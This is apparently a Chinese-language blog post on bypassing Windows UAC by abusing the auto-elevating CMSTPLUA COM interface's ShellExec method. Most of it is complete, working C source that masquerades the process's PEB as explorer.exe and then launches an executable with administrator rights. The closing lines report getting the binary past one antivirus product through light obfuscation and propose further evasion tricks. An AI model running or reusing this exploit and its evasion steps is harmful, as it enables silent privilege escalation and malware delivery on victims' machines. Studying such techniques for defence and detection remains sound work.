ByPassUAC方法研究

一:利用com组件漏洞绕过UAC

com组件和Dll的一些区别

特性 COM组件 Dll
实例化 CoCreateInstance LoadLibraryGetProcAddress
依赖注册表
使用场景 面向对象、多语言支持、跨进程通信 底层函数调用、API 提供
开发复杂度 较高(需要接口定义、注册等) 较低(直接提供函数导出)

反正咱没研究那么深,理解为全局Dll得了

从网上公开的方法,我们知道

在CMSTPLUA组件的ICMLuaUtil接口 ,有一个漏洞

OleViewDotNet.exe可以查到这个接口对应的dll

1735476224505

这个组件是有自动提升权限的能力的

1735476339008

发现其中ICMLuaTuil接口对应的dll叫cmlua.dll

1735476252466

打开IDA,载入cmlua.dll,直接选择微软服务器进行加载PDB

然后去看这个类的虚函数

1735476396008

可以看到里面有一个叫ShellExec的

1735476452701

这里能弹一个Shell

1735476512521

当然,如果执行COM提升名称代码的程序身份是不可信的,还是会触发UAC弹窗;若是可信程序,则不会触发UAC弹窗。因此,必须使这段代码在Windows可信程序中运行

所以需要伪装进程PEB进行绕过,通过修改PEB结构,让系统误认为这是一个可信进程,伪装的可信进程可以是rundll32.exe、explorer.exe等等。

源码研究:

BypassUAC/BypassUAC at master · 0xlane/BypassUAC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
BOOL MasqueradePEB() {
/* 伪装我们的进程 PEB(进程环境块)结构,使其看起来像是不同的进程。
我们可以利用这一点,通过 COM(组件对象模型)执行提升权限的文件复制操作,而无需将 DLL 注入到 explorer.exe 中。
基本上,我们是在欺骗 COM 的 IFileOperation 对象(该对象依赖进程状态 API(PSAPI)来检查进程身份),让它以为自己是从 Windows 资源管理器外壳调用的。
*/

typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef NTSTATUS(NTAPI* _NtQueryInformationProcess)(
HANDLE ProcessHandle,
DWORD ProcessInformationClass,
PVOID ProcessInformation,
DWORD ProcessInformationLength,
PDWORD ReturnLength
);

typedef NTSTATUS(NTAPI* _RtlEnterCriticalSection)(
PRTL_CRITICAL_SECTION CriticalSection
);

typedef NTSTATUS(NTAPI* _RtlLeaveCriticalSection)(
PRTL_CRITICAL_SECTION CriticalSection
);

typedef void (WINAPI* _RtlInitUnicodeString)(
PUNICODE_STRING DestinationString,
PCWSTR SourceString
);

typedef struct _LIST_ENTRY {
struct _LIST_ENTRY* Flink;
struct _LIST_ENTRY* Blink;
} LIST_ENTRY, * PLIST_ENTRY;

typedef struct _PROCESS_BASIC_INFORMATION
{
LONG ExitStatus;
PVOID PebBaseAddress;
ULONG_PTR AffinityMask;
LONG BasePriority;
ULONG_PTR UniqueProcessId;
ULONG_PTR ParentProcessId;
} PROCESS_BASIC_INFORMATION, * PPROCESS_BASIC_INFORMATION;

typedef struct _PEB_LDR_DATA {
ULONG Length;
BOOLEAN Initialized;
HANDLE SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID EntryInProgress;
BOOLEAN ShutdownInProgress;
HANDLE ShutdownThreadId;
} PEB_LDR_DATA, * PPEB_LDR_DATA;

typedef struct _RTL_USER_PROCESS_PARAMETERS {
BYTE Reserved1[16];
PVOID Reserved2[10];
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;

// Partial PEB
typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
union
{
BOOLEAN BitField;
struct
{
BOOLEAN ImageUsesLargePages : 1;
BOOLEAN IsProtectedProcess : 1;
BOOLEAN IsLegacyProcess : 1;
BOOLEAN IsImageDynamicallyRelocated : 1;
BOOLEAN SkipPatchingUser32Forwarders : 1;
BOOLEAN SpareBits : 3;
};
};
HANDLE Mutant;

PVOID ImageBaseAddress;
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PRTL_CRITICAL_SECTION FastPebLock;
} PEB, * PPEB;

typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
union
{
LIST_ENTRY InInitializationOrderLinks;
LIST_ENTRY InProgressLinks;
};
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
WORD LoadCount;
WORD TlsIndex;
union
{
LIST_ENTRY HashLinks;
struct
{
PVOID SectionPointer;
ULONG CheckSum;
};
};
union
{
ULONG TimeDateStamp;
PVOID LoadedImports;
};
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;

DWORD dwPID;
PROCESS_BASIC_INFORMATION pbi;
PPEB peb;
PPEB_LDR_DATA pld;
PLDR_DATA_TABLE_ENTRY ldte;

_NtQueryInformationProcess NtQueryInformationProcess = (_NtQueryInformationProcess)
GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess");
if (NtQueryInformationProcess == NULL) {
return FALSE;
}

_RtlEnterCriticalSection RtlEnterCriticalSection = (_RtlEnterCriticalSection)
GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlEnterCriticalSection");
if (RtlEnterCriticalSection == NULL) {
return FALSE;
}

_RtlLeaveCriticalSection RtlLeaveCriticalSection = (_RtlLeaveCriticalSection)
GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlLeaveCriticalSection");
if (RtlLeaveCriticalSection == NULL) {
return FALSE;
}

_RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString)
GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlInitUnicodeString");
if (RtlInitUnicodeString == NULL) {
return FALSE;
}

dwPID = GetCurrentProcessId();
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, dwPID);
if (hProcess == INVALID_HANDLE_VALUE)
{
return FALSE;
}

// Retrieves information about the specified process.
NtQueryInformationProcess(hProcess, 0, &pbi, sizeof(pbi), NULL);

// Read pbi PebBaseAddress into PEB Structure
if (!ReadProcessMemory(hProcess, &pbi.PebBaseAddress, &peb, sizeof(peb), NULL)) {
return FALSE;
}

// Read Ldr Address into PEB_LDR_DATA Structure
if (!ReadProcessMemory(hProcess, &peb->Ldr, &pld, sizeof(pld), NULL)) {
return FALSE;
}

// Let's overwrite UNICODE_STRING structs in memory

// First set Explorer.exe location buffer
WCHAR chExplorer[MAX_PATH + 1];
GetWindowsDirectory(chExplorer, MAX_PATH);
wcscat_s(chExplorer, sizeof(chExplorer) / sizeof(wchar_t), L"\\explorer.exe");

LPWSTR pwExplorer = (LPWSTR)malloc(MAX_PATH * 2);
wcscpy_s(pwExplorer, sizeof(chExplorer)/sizeof(wchar_t), chExplorer);

// Take ownership of PEB
RtlEnterCriticalSection(peb->FastPebLock);

// Masquerade ImagePathName and CommandLine
RtlInitUnicodeString(&peb->ProcessParameters->ImagePathName, pwExplorer);
RtlInitUnicodeString(&peb->ProcessParameters->CommandLine, pwExplorer);

// Masquerade FullDllName and BaseDllName
WCHAR wFullDllName[MAX_PATH];
WCHAR wExeFileName[MAX_PATH];
GetModuleFileName(NULL, wExeFileName, MAX_PATH);

LPVOID pStartModuleInfo = peb->Ldr->InLoadOrderModuleList.Flink;
LPVOID pNextModuleInfo = pld->InLoadOrderModuleList.Flink;
do
{
// Read InLoadOrderModuleList.Flink Address into LDR_DATA_TABLE_ENTRY Structure
if (!ReadProcessMemory(hProcess, &pNextModuleInfo, &ldte, sizeof(ldte), NULL)) {
return FALSE;
}

// Read FullDllName into string
if (!ReadProcessMemory(hProcess, (LPVOID)ldte->FullDllName.Buffer, (LPVOID)&wFullDllName, ldte->FullDllName.MaximumLength, NULL))
{
return FALSE;
}

if (_wcsicmp(wExeFileName, wFullDllName) == 0) {
RtlInitUnicodeString(&ldte->FullDllName, pwExplorer);
RtlInitUnicodeString(&ldte->BaseDllName, pwExplorer);
break;
}

pNextModuleInfo = ldte->InLoadOrderLinks.Flink;

} while (pNextModuleInfo != pStartModuleInfo);

//Release ownership of PEB
RtlLeaveCriticalSection(peb->FastPebLock);

// Release Process Handle
CloseHandle(hProcess);

if (_wcsicmp(chExplorer, wFullDllName) == 0) {
return FALSE;
}


return TRUE;
}

这段代码主要干的事情就是修改掉PEB里面的进程名和与自身进程重名的Dll模块名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
/*
* ucmCMLuaUtilShellExecMethod
*
* Purpose:
*
* Bypass UAC using AutoElevated undocumented CMLuaUtil interface.
* This function expects that supMasqueradeProcess was called on process initialization.
*
*/
NTSTATUS ucmCMLuaUtilShellExecMethod(
_In_ LPWSTR lpszExecutable
)
{
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
HRESULT r = E_FAIL, hr_init;
BOOL bApprove = FALSE;
ICMLuaUtil* CMLuaUtil = NULL;

hr_init = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);//这是调用 COM 接口的标准步骤,hr_init 保存初始化的结果,便于后续清理。

do {

r = ucmAllocateElevatedObject(
(LPWSTR)T_CLSID_CMSTPLUA,
IID_ICMLuaUtil,
CLSCTX_LOCAL_SERVER,
(void**)&CMLuaUtil);

if (r != S_OK)
break;

if (CMLuaUtil == NULL) {
r = E_OUTOFMEMORY;
break;
}

/*调用 CMLuaUtil 的 ShellExec 方法。
lpszExecutable 是目标可执行文件的路径。
其他参数为 NULL 或默认值,表示不指定命令行参数、工作目录等。
SEE_MASK_DEFAULT 表示默认的执行选项。
SW_SHOW 表示窗口将以正常显示的方式启动。
如果调用成功,则目标可执行文件以提升的权限运行。*/

r = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil,
lpszExecutable,
NULL,
NULL,
SEE_MASK_DEFAULT,
SW_SHOW);

if (SUCCEEDED(r))
MethodResult = STATUS_SUCCESS;

} while (FALSE);

if (CMLuaUtil != NULL) {
CMLuaUtil->lpVtbl->Release(CMLuaUtil);
}

if (hr_init == S_OK)
CoUninitialize();

return MethodResult;
}

修改掉PEB里面的信息以后,就可以调用里面的ShellExec函数了

成功到管理员权限

1735477160136

不过没做免杀,稍微混淆下居然过了火绒,但是360还是过不去,有时间试试白加黑能不能过